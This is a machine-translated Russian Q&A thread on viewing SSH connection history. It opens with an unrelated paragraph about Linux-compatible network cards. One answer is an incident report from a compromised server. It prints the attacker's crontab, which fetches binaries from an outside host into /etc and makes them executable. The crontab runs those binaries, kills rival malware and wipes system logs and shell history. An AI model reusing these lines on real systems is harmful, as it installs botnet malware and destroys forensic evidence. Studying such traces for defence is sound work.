История IP-адресов, которые получили доступ к серверу через ssh

Путем я делаю это должно найти чипсет, который работает с драйверами с открытым исходным кодом, и затем ищите аппаратные средства, которые используют тот чипсет.

Существует превосходная сводка на Wiki Ubuntu чипсетов и карт, которые будут работать. Каждое устройство имеет тестирование и замечания по установке. Можно легко просмотреть список для нахождения платы PCI, которой Вы довольны.

Если Вы не интересуетесь исследованием большого количества опций и просто хотите купить некоторые карты, ThinkPenguin.com выбрали выбор конкретно для совместимости Linux.

43
29.09.2019, 02:17
6 ответов

Как и ожидалось, и, как сказал @Joel Davis, все журналы были удалены, но был один файл, о котором упоминал @Ramesh, в котором были попытки получить доступ к пользователю root, но не удалось для ввода правильного пароля несколько раз, затем отключение для слишком многих повторных попыток.

Я проложил трассировку по трем адресам, два из которых были из Китая, а другой - из Пакистана; это IP-адреса:

221.120.224.179
116.10.191.218
61.174.51.221

Дополнительная информация о ботнете, который был внедрен на сервер после его взлома:

Хакеры редактируют crontab для выполнения 7 исполняемых файлов, которые каждые x промежутков времени будут использовать весь ЦП, макс. серверы сетевой выход, то просто сдохнут. Кроме того, они добавляют файл readme в crontab 100 раз, чтобы скрыть добавленные строки, поэтому, когда вы сделаете crontab -l , вы получите спам из readme со скрытыми строками. Чтобы обойти это, я использовал crontab -l | grep -v '^ #' и вот результат этой команды:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Как видите, все файлы журналов очищены, поэтому мне не удалось получить много информации.

Это привело к остановке всего сервера (всех виртуальных машин), что вызвало тайм-ауты на сайтах и ​​на proxmox.Вот график (всплески указывают на то, что ботнет активно использует DDoS-атаки, и замечает выход из сети): botnet activity

В результате я добавлю весь диапазон китайских IP-адресов в брандмауэр, чтобы заблокировать все подключений (у меня нет китайских пользователей, поэтому мне все равно), я также запрещу удаленный вход в систему root и буду использовать длинные сложные пароли. Я также, скорее всего, изменю порт ssh и также буду использовать частные ключи ssh.

6
27.01.2020, 19:35

Есть ли способ просмотреть историю полученных соединений по ssh на сервере?

Это должно дать вам список:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Затем вы можно использовать geoiplookup из пакета geoip-bin для перехода от имени хоста или IP-адреса к стране.

14
27.01.2020, 19:35

Посмотрите на вывод команды last , и что-нибудь с IP-адресом или именем хоста вместо пробела пришло по сети. Если sshd - единственный способ сделать это в этой системе, тогда готово.

В качестве альтернативы (если это Linux) вы можете проверить / var / log / secure (в дистрибутивах на основе RH) или /var/log/auth.log (в Дистрибутивы на основе Debian), где sshd обычно отслеживает сделанные подключения, даже если они не приводят к успешному входу в систему (что попадает в utmp / wtmp , что это то, из чего будет читать последний ). Пример:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

sshd IIRC Solaris (который не обязательно может быть sshd OpenSSH) записывает эту информацию в / var / adm / messages

РЕДАКТИРОВАТЬ:

@derobert отлично замечает. Важно помнить, что в любой системе, если ваша учетная запись суперпользователя скомпрометирована, все ставки отключены, поскольку файлы журналов, такие как / var / log / wtmp или / var / adm / messages ] может быть изменен злоумышленником. Это можно смягчить, если вы перенесете журналы с сервера в безопасное место.

Например, в одном магазине, в котором я работал, у нас был компьютер «Audit Vault», который был защищен так, чтобы получать файлы журнала аудита только с различных серверов в центре обработки данных.Я бы порекомендовал установить аналогичную установку в будущем (поскольку «У меня есть тестовая машина» звучит так, будто вы работаете в большом магазине)

45
27.01.2020, 19:35

Из этого ответа я вижу информацию ниже.

Говоря о серверах SSH, я дам вам решения для командной строки.

Отслеживание входа и выхода пользователей . Это просто, файл /var/log/auth.log должен содержать эту информацию.

Отслеживайте активность этих пользователей : Если они несколько невиновны, вы можете проверить файл .bash_history в их домашнем каталоге. Вы увидите список команд, которые они выполнили. Проблема, конечно, в том, что они могут удалить или отредактировать этот файл.

Запретить пользователям удалять журналы : пользователи не должны иметь возможность касаться auth.log . Чтобы они не играли с bash_history , вам нужно проделать пару уловок.

Что, если пользователю удастся получить root-доступ? : Вы облажались. Если он не совершит ошибку, он сможет скрыть все свои шаги.

Кроме того, из этого ответа мы можем увидеть IP-адрес клиента, используя переменную SSH_CLIENT .

Также из этого ответа я вижу, что в этих файлах может храниться история ssh.

Помимо / var / log / lastlog , есть 3 файла в / var / run и / var / log : utmp , wtmp и btmp , которые содержат информацию о текущих входах (и дополнительную информацию), истории и неудачных входах. См. wiki для подробного описания. Вы не можете редактировать файлы обычными редакторами, но можете стереть их.

3
27.01.2020, 19:35

Чтобы увидеть только успешные попытки входа с паролем:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted'
7
27.01.2020, 19:35

для Debian текст тестового поиска немного отличается

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
1
27.01.2020, 19:35

Теги

Похожие вопросы